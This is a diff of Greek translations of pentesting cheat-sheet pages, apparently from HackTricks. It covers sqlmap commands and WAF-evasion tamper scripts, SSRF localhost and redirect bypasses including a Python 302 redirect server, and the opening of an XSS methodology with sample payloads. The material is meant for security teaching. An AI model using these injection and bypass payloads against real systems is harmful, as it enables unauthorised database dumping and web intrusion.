**Sqlmap** επιτρέπει τη χρήση του `-e` ή `--eval` για να επεξεργαστεί κάθε payload πριν το στείλει με κάποιο python oneliner. Αυτό διευκολύνει και επιταχύνει την επεξεργασία με προσαρμοσμένους τρόπους του payload πριν το στείλετε. Στο παρακάτω παράδειγμα, η **flask cookie session** **υπογράφεται από το flask με το γνωστό μυστικό πριν σταλεί**:
|
||||||
```bash
|
```bash
|
||||||
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
|
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
|
||||||
```
|
```
|
||||||
@ -114,7 +118,7 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
|
|||||||
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
|
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
|
||||||
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
|
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
|
||||||
```
|
```
|
||||||
[**Διαβάστε αυτή την ανάρτηση** ](second-order-injection-sqlmap.md)** σχετικά με το πώς να εκτελέσετε απλές και σύνθετες δεύτερες παραγγελίες με sqlmap.**
|
[**Διαβάστε αυτή την ανάρτηση** ](second-order-injection-sqlmap.md)**για το πώς να εκτελέσετε απλές και σύνθετες δεύτερες παραγγελίες με sqlmap.**
|
||||||
|
|
||||||
## Προσαρμογή Εισαγωγής
|
## Προσαρμογή Εισαγωγής
|
||||||
|
|
||||||
@ -138,24 +142,24 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
|||||||
--tamper=name_of_the_tamper
|
--tamper=name_of_the_tamper
|
||||||
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
|
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
|
||||||
```
|
```
|
||||||
| Tamper | Περιγραφή |
|
| Tamper | Description |
|
||||||
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
|
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
|
||||||
| apostrophemask.py | Αντικαθιστά τον χαρακτήρα απόστροφου με τον πλήρη χαρακτήρα UTF-8 |
|
| apostrophemask.py | Αντικαθιστά τον χαρακτήρα απόστροφου με τον πλήρη χαρακτήρα UTF-8 |
|
||||||
| apostrophenullencode.py | Αντικαθιστά τον χαρακτήρα απόστροφου με τον παράνομο διπλό χαρακτήρα unicode |
|
| apostrophenullencode.py | Αντικαθιστά τον χαρακτήρα απόστροφου με τον παράνομο διπλό χαρακτήρα unicode |
|
||||||
| appendnullbyte.py | Προσθέτει κωδικοποιημένο χαρακτήρα NULL byte στο τέλος του payload |
|
| appendnullbyte.py | Προσθέτει κωδικοποιημένο χαρακτήρα NULL στο τέλος του payload |
|
||||||
| base64encode.py | Κωδικοποιεί όλα τα χαρακτήρες σε ένα δεδομένο payload σε Base64 |
|
| base64encode.py | Κωδικοποιεί σε Base64 όλους τους χαρακτήρες σε ένα δεδομένο payload |
|
||||||
| between.py | Αντικαθιστά τον τελεστή μεγαλύτερο από ('>') με 'NOT BETWEEN 0 AND #' |
|
| between.py | Αντικαθιστά τον τελεστή μεγαλύτερος από ('>') με 'NOT BETWEEN 0 AND #' |
|
||||||
| bluecoat.py | Αντικαθιστά τον χαρακτήρα κενό μετά από δήλωση SQL με έναν έγκυρο τυχαίο κενό χαρακτήρα. Στη συνέχεια, αντικαθιστά τον χαρακτήρα = με τον τελεστή LIKE |
|
| bluecoat.py | Αντικαθιστά τον χαρακτήρα κενό μετά από δήλωση SQL με έναν έγκυρο τυχαίο κενό χαρακτήρα. Στη συνέχεια, αντικαθιστά τον χαρακτήρα = με τον τελεστή LIKE |
|
||||||
| chardoubleencode.py | Διπλά κωδικοποιεί όλα τα χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων) |
|
| chardoubleencode.py | Διπλά κωδικοποιεί url όλους τους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων) |
|
||||||
| commalesslimit.py | Αντικαθιστά περιπτώσεις όπως 'LIMIT M, N' με 'LIMIT N OFFSET M' |
|
| commalesslimit.py | Αντικαθιστά περιπτώσεις όπως 'LIMIT M, N' με 'LIMIT N OFFSET M' |
|
||||||
| commalessmid.py | Αντικαθιστά περιπτώσεις όπως 'MID(A, B, C)' με 'MID(A FROM B FOR C)' |
|
| commalessmid.py | Αντικαθιστά περιπτώσεις όπως 'MID(A, B, C)' με 'MID(A FROM B FOR C)' |
|
||||||
| concat2concatws.py | Αντικαθιστά περιπτώσεις όπως 'CONCAT(A, B)' με 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
|
| concat2concatws.py | Αντικαθιστά περιπτώσεις όπως 'CONCAT(A, B)' με 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
|
||||||
| charencode.py | Κωδικοποιεί URL όλους τους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων) |
|
| charencode.py | Κωδικοποιεί url όλους τους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων) |
|
||||||
| charunicodeencode.py | Κωδικοποιεί unicode-url μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων). "%u0022" |
|
| charunicodeencode.py | Κωδικοποιεί unicode-url τους μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων). "%u0022" |
|
||||||
| charunicodeescape.py | Κωδικοποιεί unicode-url μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων). "\u0022" |
|
| charunicodeescape.py | Κωδικοποιεί unicode-url τους μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων). "\u0022" |
|
||||||
| equaltolike.py | Αντικαθιστά όλες τις εμφανίσεις του τελεστή ίσο ('=') με τον τελεστή 'LIKE' |
|
| equaltolike.py | Αντικαθιστά όλες τις εμφανίσεις του τελεστή ίσος ('=') με τον τελεστή 'LIKE' |
|
||||||
| escapequotes.py | Διαφεύγει τις αποστροφές (' και ") |
|
| escapequotes.py | Διαφεύγει τις αποστροφές (' και ") |
|
||||||
| greatest.py | Αντικαθιστά τον τελεστή μεγαλύτερο από ('>') με τον αντίστοιχο 'GREATEST' |
|
| greatest.py | Αντικαθιστά τον τελεστή μεγαλύτερος από ('>') με τον αντίστοιχο 'GREATEST' |
|
||||||
| halfversionedmorekeywords.py | Προσθέτει σχολιασμό MySQL με έκδοση πριν από κάθε λέξη-κλειδί |
|
| halfversionedmorekeywords.py | Προσθέτει σχολιασμό MySQL με έκδοση πριν από κάθε λέξη-κλειδί |
|
||||||
| ifnull2ifisnull.py | Αντικαθιστά περιπτώσεις όπως 'IFNULL(A, B)' με 'IF(ISNULL(A), B, A)' |
|
| ifnull2ifisnull.py | Αντικαθιστά περιπτώσεις όπως 'IFNULL(A, B)' με 'IF(ISNULL(A), B, A)' |
|
||||||
| modsecurityversioned.py | Περιβάλλει την πλήρη ερώτηση με σχολιασμό με έκδοση |
|
| modsecurityversioned.py | Περιβάλλει την πλήρη ερώτηση με σχολιασμό με έκδοση |
|
||||||
@ -164,24 +168,24 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
|||||||
| nonrecursivereplacement.py | Αντικαθιστά προκαθορισμένες λέξεις-κλειδιά SQL με αναπαραστάσεις κατάλληλες για αντικατάσταση (π.χ. .replace("SELECT", "")) φίλτρα |
|
| nonrecursivereplacement.py | Αντικαθιστά προκαθορισμένες λέξεις-κλειδιά SQL με αναπαραστάσεις κατάλληλες για αντικατάσταση (π.χ. .replace("SELECT", "")) φίλτρα |
|
||||||
| percentage.py | Προσθέτει ένα ποσοστό ('%') μπροστά από κάθε χαρακτήρα |
|
| percentage.py | Προσθέτει ένα ποσοστό ('%') μπροστά από κάθε χαρακτήρα |
|
||||||
| overlongutf8.py | Μετατρέπει όλους τους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων) |
|
| overlongutf8.py | Μετατρέπει όλους τους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων) |
|
||||||
| randomcase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με τυχαία τιμή κεφαλαίου |
|
| randomcase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με τυχαία τιμή περίπτωσης |
|
||||||
| randomcomments.py | Προσθέτει τυχαία σχόλια στις λέξεις-κλειδιά SQL |
|
| randomcomments.py | Προσθέτει τυχαία σχόλια στις λέξεις-κλειδιά SQL |
|
||||||
| securesphere.py | Προσθέτει ειδικά κατασκευασμένο string |
|
| securesphere.py | Προσθέτει ειδικά κατασκευασμένο string |
|
||||||
| sp_password.py | Προσθέτει 'sp_password' στο τέλος του payload για αυτόματη απόκρυψη από τα logs του DBMS |
|
| sp_password.py | Προσθέτει 'sp_password' στο τέλος του payload για αυτόματη απόκρυψη από τα logs του DBMS |
|
||||||
| space2comment.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με σχόλια |
|
| space2comment.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με σχόλια |
|
||||||
| space2dash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με σχόλιο παύλας ('--') ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή ('\n') |
|
| space2dash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με σχόλιο παύλας ('--') ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή ('\n') |
|
||||||
| space2hash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με χαρακτήρα σήματος ('#') ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή ('\n') |
|
| space2hash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν χαρακτήρα σήματος ('#') ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή ('\n') |
|
||||||
| space2morehash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με χαρακτήρα σήματος ('#') ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή ('\n') |
|
| space2morehash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν χαρακτήρα σήματος ('#') ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή ('\n') |
|
||||||
| space2mssqlblank.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων |
|
| space2mssqlblank.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων |
|
||||||
| space2mssqlhash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με χαρακτήρα σήματος ('#') ακολουθούμενο από μια νέα γραμμή ('\n') |
|
| space2mssqlhash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν χαρακτήρα σήματος ('#') ακολουθούμενο από μια νέα γραμμή ('\n') |
|
||||||
| space2mysqlblank.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων |
|
| space2mysqlblank.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων |
|
||||||
| space2mysqldash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με σχόλιο παύλας ('--') ακολουθούμενο από μια νέα γραμμή ('\n') |
|
| space2mysqldash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με σχόλιο παύλας ('--') ακολουθούμενο από μια νέα γραμμή ('\n') |
|
||||||
| space2plus.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με συν (+) |
|
| space2plus.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με το σύμβολο συν ('+') |
|
||||||
| space2randomblank.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων |
|
| space2randomblank.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων |
|
||||||
| symboliclogical.py | Αντικαθιστά τους λογικούς τελεστές AND και OR με τους συμβολικούς αντιστοίχους τους (&& και |
|
| symboliclogical.py | Αντικαθιστά τους λογικούς τελεστές AND και OR με τους συμβολικούς αντιστοίχους τους (&& και |
|
||||||
| unionalltounion.py | Αντικαθιστά UNION ALL SELECT με UNION SELECT |
|
| unionalltounion.py | Αντικαθιστά UNION ALL SELECT με UNION SELECT |
|
||||||
| unmagicquotes.py | Αντικαθιστά τον χαρακτήρα απόστροφου (') με έναν συνδυασμό πολλών byte %bf%27 μαζί με γενικό σχόλιο στο τέλος (για να λειτουργήσει) |
|
| unmagicquotes.py | Αντικαθιστά τον χαρακτήρα αποστροφής (') με έναν συνδυασμό πολλών byte %bf%27 μαζί με γενικό σχόλιο στο τέλος (για να λειτουργήσει) |
|
||||||
| uppercase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με κεφαλαίο χαρακτήρα 'INSERT' |
|
| uppercase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με την κεφαλαία τιμή 'INSERT' |
|
||||||
| varnish.py | Προσθέτει μια HTTP κεφαλίδα 'X-originating-IP' |
|
| varnish.py | Προσθέτει μια HTTP κεφαλίδα 'X-originating-IP' |
|
||||||
| versionedkeywords.py | Περιβάλλει κάθε μη λειτουργική λέξη-κλειδί με σχολιασμό MySQL με έκδοση |
|
| versionedkeywords.py | Περιβάλλει κάθε μη λειτουργική λέξη-κλειδί με σχολιασμό MySQL με έκδοση |
|
||||||
| versionedmorekeywords.py | Περιβάλλει κάθε λέξη-κλειδί με σχολιασμό MySQL με έκδοση |
|
| versionedmorekeywords.py | Περιβάλλει κάθε λέξη-κλειδί με σχολιασμό MySQL με έκδοση |
|
||||||
|
|||||||
@ -2,9 +2,10 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
### Τοπικός Υπολογιστής
|
### Τοπικός υπολογιστής
|
||||||
```bash
|
```bash
|
||||||
# Localhost
|
# Localhost
|
||||||
|
0 # Yes, just 0 is localhost in Linuc
|
||||||
http://127.0.0.1:80
|
http://127.0.0.1:80
|
||||||
http://127.0.0.1:443
|
http://127.0.0.1:443
|
||||||
http://127.0.0.1:22
|
http://127.0.0.1:22
|
||||||
@ -166,7 +167,7 @@ https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
|
|||||||
### Bypass via redirect
|
### Bypass via redirect
|
||||||
|
|
||||||
Είναι πιθανό ο διακομιστής να **φιλτράρει το αρχικό αίτημα** ενός SSRF **αλλά όχι** μια πιθανή **απάντηση ανακατεύθυνσης** σε αυτό το αίτημα.\
|
Είναι πιθανό ο διακομιστής να **φιλτράρει το αρχικό αίτημα** ενός SSRF **αλλά όχι** μια πιθανή **απάντηση ανακατεύθυνσης** σε αυτό το αίτημα.\
|
||||||
Για παράδειγμα, ένας διακομιστής ευάλωτος σε SSRF μέσω: `url=https://www.google.com/` μπορεί να **φιλτράρει την παράμετρο url**. Αλλά αν χρησιμοποιήσετε έναν [python server για να απαντήσει με 302](https://pastebin.com/raw/ywAUhFrv) στο μέρος όπου θέλετε να ανακατευθύνετε, μπορεί να είστε σε θέση να **πρόσβαση σε φιλτραρισμένες διευθύνσεις IP** όπως 127.0.0.1 ή ακόμα και φιλτραρισμένα **πρωτόκολλα** όπως gopher.\
|
Για παράδειγμα, ένας διακομιστής ευάλωτος σε SSRF μέσω: `url=https://www.google.com/` μπορεί να **φιλτράρει την παράμετρο url**. Αλλά αν χρησιμοποιήσετε έναν [python server για να απαντήσει με 302](https://pastebin.com/raw/ywAUhFrv) στο σημείο όπου θέλετε να ανακατευθύνετε, μπορεί να είστε σε θέση να **πρόσβαση σε φιλτραρισμένες διευθύνσεις IP** όπως 127.0.0.1 ή ακόμα και φιλτραρισμένα **πρωτόκολλα** όπως το gopher.\
|
||||||
[Δείτε αυτή την αναφορά.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
[Δείτε αυτή την αναφορά.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||||||
```python
|
```python
|
||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
@ -200,7 +201,7 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
|||||||
|
|
||||||
Ο χαρακτήρας “αριστερό τετράγωνο αγκύλη” `[` στο τμήμα userinfo μπορεί να προκαλέσει την UriComponentsBuilder του Spring να επιστρέψει μια τιμή hostname που διαφέρει από τους περιηγητές: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
|
Ο χαρακτήρας “αριστερό τετράγωνο αγκύλη” `[` στο τμήμα userinfo μπορεί να προκαλέσει την UriComponentsBuilder του Spring να επιστρέψει μια τιμή hostname που διαφέρει από τους περιηγητές: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
|
||||||
|
|
||||||
### Άλλες Σύγχυσεις
|
### Άλλες Συγχύσεις
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
|
|||||||
@ -2,15 +2,15 @@
|
|||||||
|
|
||||||
## Methodology
|
## Methodology
|
||||||
|
|
||||||
1. Ελέγξτε αν **οποιαδήποτε τιμή ελέγχετε** (_παράμετροι_, _μονοπάτι_, _κεφαλίδες_?, _cookies_?) **αντανακλάται** στο HTML ή **χρησιμοποιείται** από **JS** κώδικα.
|
1. Ελέγξτε αν **οποιαδήποτε τιμή ελέγχετε** (_παράμετροι_, _μονοπάτι_, _κεφαλίδες_?, _cookies_?) **αντανάκλαται** στο HTML ή **χρησιμοποιείται** από **JS** κώδικα.
|
||||||
2. **Βρείτε το πλαίσιο** όπου αντανακλάται/χρησιμοποιείται.
|
2. **Βρείτε το πλαίσιο** όπου αντανάκλαται/χρησιμοποιείται.
|
||||||
3. Αν **αντανακλάται**
|
3. Αν **αντανάκλαται**
|
||||||
1. Ελέγξτε **ποια σύμβολα μπορείτε να χρησιμοποιήσετε** και ανάλογα με αυτό, προετοιμάστε το payload:
|
1. Ελέγξτε **ποια σύμβολα μπορείτε να χρησιμοποιήσετε** και ανάλογα με αυτό, προετοιμάστε το payload:
|
||||||
1. Σε **ακατέργαστο HTML**:
|
1. Σε **ακατέργαστο HTML**:
|
||||||
1. Μπορείτε να δημιουργήσετε νέες ετικέτες HTML;
|
1. Μπορείτε να δημιουργήσετε νέες ετικέτες HTML;
|
||||||
2. Μπορείτε να χρησιμοποιήσετε γεγονότα ή χαρακτηριστικά που υποστηρίζουν το πρωτόκολλο `javascript:`;
|
2. Μπορείτε να χρησιμοποιήσετε γεγονότα ή χαρακτηριστικά που υποστηρίζουν το πρωτόκολλο `javascript:`;
|
||||||
3. Μπορείτε να παρακάμψετε τις προστασίες;
|
3. Μπορείτε να παρακάμψετε τις προστασίες;
|
||||||
4. Ερμηνεύεται το περιεχόμενο HTML από οποιαδήποτε μηχανή JS πλευράς (_AngularJS_, _VueJS_, _Mavo_...), θα μπορούσατε να εκμεταλλευτείτε μια [**Client Side Template Injection**](../client-side-template-injection-csti.md).
|
4. Ερμηνεύεται το περιεχόμενο HTML από οποιαδήποτε μηχανή JS πελάτη (_AngularJS_, _VueJS_, _Mavo_...), θα μπορούσατε να εκμεταλλευτείτε μια [**Client Side Template Injection**](../client-side-template-injection-csti.md).
|
||||||
5. Αν δεν μπορείτε να δημιουργήσετε ετικέτες HTML που εκτελούν κώδικα JS, θα μπορούσατε να εκμεταλλευτείτε μια [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html);
|
5. Αν δεν μπορείτε να δημιουργήσετε ετικέτες HTML που εκτελούν κώδικα JS, θα μπορούσατε να εκμεταλλευτείτε μια [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html);
|
||||||
2. Μέσα σε μια **ετικέτα HTML**:
|
2. Μέσα σε μια **ετικέτα HTML**:
|
||||||
1. Μπορείτε να βγείτε σε ακατέργαστο HTML πλαίσιο;
|
1. Μπορείτε να βγείτε σε ακατέργαστο HTML πλαίσιο;
|
||||||
@ -18,8 +18,8 @@
|
|||||||
3. Υποστηρίζει το χαρακτηριστικό όπου είστε παγιδευμένοι την εκτέλεση JS;
|
3. Υποστηρίζει το χαρακτηριστικό όπου είστε παγιδευμένοι την εκτέλεση JS;
|
||||||
4. Μπορείτε να παρακάμψετε τις προστασίες;
|
4. Μπορείτε να παρακάμψετε τις προστασίες;
|
||||||
3. Μέσα σε **κώδικα JavaScript**:
|
3. Μέσα σε **κώδικα JavaScript**:
|
||||||
1. Μπορείτε να ξεφύγετε από την ετικέτα `<script>`;
|
1. Μπορείτε να διαφύγετε την ετικέτα `<script>`;
|
||||||
2. Μπορείτε να ξεφύγετε από τη συμβολοσειρά και να εκτελέσετε διαφορετικό κώδικα JS;
|
2. Μπορείτε να διαφύγετε τη συμβολοσειρά και να εκτελέσετε διαφορετικό κώδικα JS;
|
||||||
3. Είναι η είσοδός σας σε template literals \`\`?;
|
3. Είναι η είσοδός σας σε template literals \`\`?;
|
||||||
4. Μπορείτε να παρακάμψετε τις προστασίες;
|
4. Μπορείτε να παρακάμψετε τις προστασίες;
|
||||||
4. Javascript **λειτουργία** που εκτελείται
|
4. Javascript **λειτουργία** που εκτελείται
|
||||||
@ -35,29 +35,29 @@ debugging-client-side-js.md
|
|||||||
|
|
||||||
## Reflected values
|
## Reflected values
|
||||||
|
|
||||||
Για να εκμεταλλευτείτε επιτυχώς μια XSS το πρώτο πράγμα που πρέπει να βρείτε είναι μια **τιμή που ελέγχετε και αντανακλάται** στη σελίδα web.
|
Για να εκμεταλλευτείτε επιτυχώς μια XSS, το πρώτο πράγμα που πρέπει να βρείτε είναι μια **τιμή που ελέγχετε και αντανάκλαται** στη σελίδα web.
|
||||||
|
|
||||||
- **Ενδιάμεσα αντανακλώμενη**: Αν βρείτε ότι η τιμή μιας παραμέτρου ή ακόμα και το μονοπάτι αντανακλάται στη σελίδα web θα μπορούσατε να εκμεταλλευτείτε μια **Reflected XSS**.
|
- **Ενδιάμεσα αντανάκλαση**: Αν διαπιστώσετε ότι η τιμή μιας παραμέτρου ή ακόμα και το μονοπάτι αντανάκλαται στη σελίδα web, θα μπορούσατε να εκμεταλλευτείτε μια **Reflected XSS**.
|
||||||
- **Αποθηκευμένη και αντανακλώμενη**: Αν βρείτε ότι μια τιμή που ελέγχετε αποθηκεύεται στον διακομιστή και αντανακλάται κάθε φορά που αποκτάτε πρόσβαση σε μια σελίδα θα μπορούσατε να εκμεταλλευτείτε μια **Stored XSS**.
|
- **Αποθηκευμένη και αντανάκλαση**: Αν διαπιστώσετε ότι μια τιμή που ελέγχετε αποθηκεύεται στον διακομιστή και αντανάκλαται κάθε φορά που αποκτάτε πρόσβαση σε μια σελίδα, θα μπορούσατε να εκμεταλλευτείτε μια **Stored XSS**.
|
||||||
- **Πρόσβαση μέσω JS**: Αν βρείτε ότι μια τιμή που ελέγχετε αποκτάται χρησιμοποιώντας JS θα μπορούσατε να εκμεταλλευτείτε μια **DOM XSS**.
|
- **Πρόσβαση μέσω JS**: Αν διαπιστώσετε ότι μια τιμή που ελέγχετε αποκτάται χρησιμοποιώντας JS, θα μπορούσατε να εκμεταλλευτείτε μια **DOM XSS**.
|
||||||
|
|
||||||
## Contexts
|
## Contexts
|
||||||
|
|
||||||
Όταν προσπαθείτε να εκμεταλλευτείτε μια XSS το πρώτο πράγμα που πρέπει να γνωρίζετε είναι **πού αντανακλάται η είσοδός σας**. Ανάλογα με το πλαίσιο, θα μπορείτε να εκτελέσετε αυθαίρετο κώδικα JS με διαφορετικούς τρόπους.
|
Όταν προσπαθείτε να εκμεταλλευτείτε μια XSS, το πρώτο πράγμα που πρέπει να γνωρίζετε είναι **πού αντανάκλαται η είσοδός σας**. Ανάλογα με το πλαίσιο, θα μπορείτε να εκτελέσετε αυθαίρετο κώδικα JS με διαφορετικούς τρόπους.
|
||||||
|
|
||||||
### Raw HTML
|
### Raw HTML
|
||||||
|
|
||||||
Αν η είσοδός σας είναι **αντανακλώμενη στην ακατέργαστη HTML** σελίδα θα χρειαστεί να εκμεταλλευτείτε κάποια **HTML tag** προκειμένου να εκτελέσετε κώδικα JS: `<img , <iframe , <svg , <script` ... αυτές είναι μόνο μερικές από τις πολλές δυνατές ετικέτες HTML που θα μπορούσατε να χρησιμοποιήσετε.\
|
Αν η είσοδός σας είναι **αντανάκλαση στην ακατέργαστη HTML** σελίδα, θα χρειαστεί να εκμεταλλευτείτε κάποια **HTML tag** για να εκτελέσετε κώδικα JS: `<img , <iframe , <svg , <script` ... αυτές είναι μόνο μερικές από τις πολλές δυνατές ετικέτες HTML που θα μπορούσατε να χρησιμοποιήσετε.\
|
||||||
Επίσης, έχετε υπόψη σας την [Client Side Template Injection](../client-side-template-injection-csti.md).
|
Επίσης, έχετε κατά νου [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||||
|
|
||||||
### Inside HTML tags attribute
|
### Inside HTML tags attribute
|
||||||
|
|
||||||
Αν η είσοδός σας αντανακλάται μέσα στην τιμή του χαρακτηριστικού μιας ετικέτας θα μπορούσατε να προσπαθήσετε:
|
Αν η είσοδός σας αντανάκλαται μέσα στην τιμή του χαρακτηριστικού μιας ετικέτας, θα μπορούσατε να προσπαθήσετε:
|
||||||
|
|
||||||
1. Να **ξεφύγετε από το χαρακτηριστικό και από την ετικέτα** (τότε θα είστε στην ακατέργαστη HTML) και να δημιουργήσετε νέα ετικέτα HTML για να εκμεταλλευτείτε: `"><img [...]`
|
1. Να **διαφύγετε από το χαρακτηριστικό και από την ετικέτα** (τότε θα είστε στην ακατέργαστη HTML) και να δημιουργήσετε νέα ετικέτα HTML για να εκμεταλλευτείτε: `"><img [...]`
|
||||||
2. Αν **μπορείτε να ξεφύγετε από το χαρακτηριστικό αλλά όχι από την ετικέτα** (`>` είναι κωδικοποιημένο ή διαγραμμένο), ανάλογα με την ετικέτα θα μπορούσατε να **δημιουργήσετε ένα γεγονός** που εκτελεί κώδικα JS: `" autofocus onfocus=alert(1) x="`
|
2. Αν μπορείτε να **διαφύγετε από το χαρακτηριστικό αλλά όχι από την ετικέτα** (`>` είναι κωδικοποιημένο ή διαγραμμένο), ανάλογα με την ετικέτα θα μπορούσατε να **δημιουργήσετε ένα γεγονός** που εκτελεί κώδικα JS: `" autofocus onfocus=alert(1) x="`
|
||||||
3. Αν **δεν μπορείτε να ξεφύγετε από το χαρακτηριστικό** (`"` είναι κωδικοποιημένο ή διαγραμμένο), τότε ανάλογα με **ποιο χαρακτηριστικό** αντανακλάται η τιμή σας **αν ελέγχετε όλη την τιμή ή μόνο ένα μέρος** θα μπορείτε να το εκμεταλλευτείτε. Για **παράδειγμα**, αν ελέγχετε ένα γεγονός όπως `onclick=` θα μπορείτε να το κάνετε να εκτελεί αυθαίρετο κώδικα όταν κάνετε κλικ. Ένα άλλο ενδιαφέρον **παράδειγμα** είναι το χαρακτηριστικό `href`, όπου μπορείτε να χρησιμοποιήσετε το πρωτόκολλο `javascript:` για να εκτελέσετε αυθαίρετο κώδικα: **`href="javascript:alert(1)"`**
|
3. Αν **δεν μπορείτε να διαφύγετε από το χαρακτηριστικό** (`"` είναι κωδικοποιημένο ή διαγραμμένο), τότε ανάλογα με **ποιο χαρακτηριστικό** η τιμή σας αντανάκλαται **αν ελέγχετε όλη την τιμή ή μόνο ένα μέρος** θα μπορείτε να το εκμεταλλευτείτε. Για **παράδειγμα**, αν ελέγχετε ένα γεγονός όπως `onclick=` θα μπορείτε να το κάνετε να εκτελεί αυθαίρετο κώδικα όταν κάνετε κλικ. Ένα άλλο ενδιαφέρον **παράδειγμα** είναι το χαρακτηριστικό `href`, όπου μπορείτε να χρησιμοποιήσετε το πρωτόκολλο `javascript:` για να εκτελέσετε αυθαίρετο κώδικα: **`href="javascript:alert(1)"`**
|
||||||
4. Αν η είσοδός σας αντανακλάται μέσα σε "**μη εκμεταλλεύσιμες ετικέτες**" θα μπορούσατε να προσπαθήσετε το κόλπο **`accesskey`** για να εκμεταλλευτείτε την ευπάθεια (θα χρειαστείτε κάποια μορφή κοινωνικής μηχανικής για να το εκμεταλλευτείτε): **`" accesskey="x" onclick="alert(1)" x="`**
|
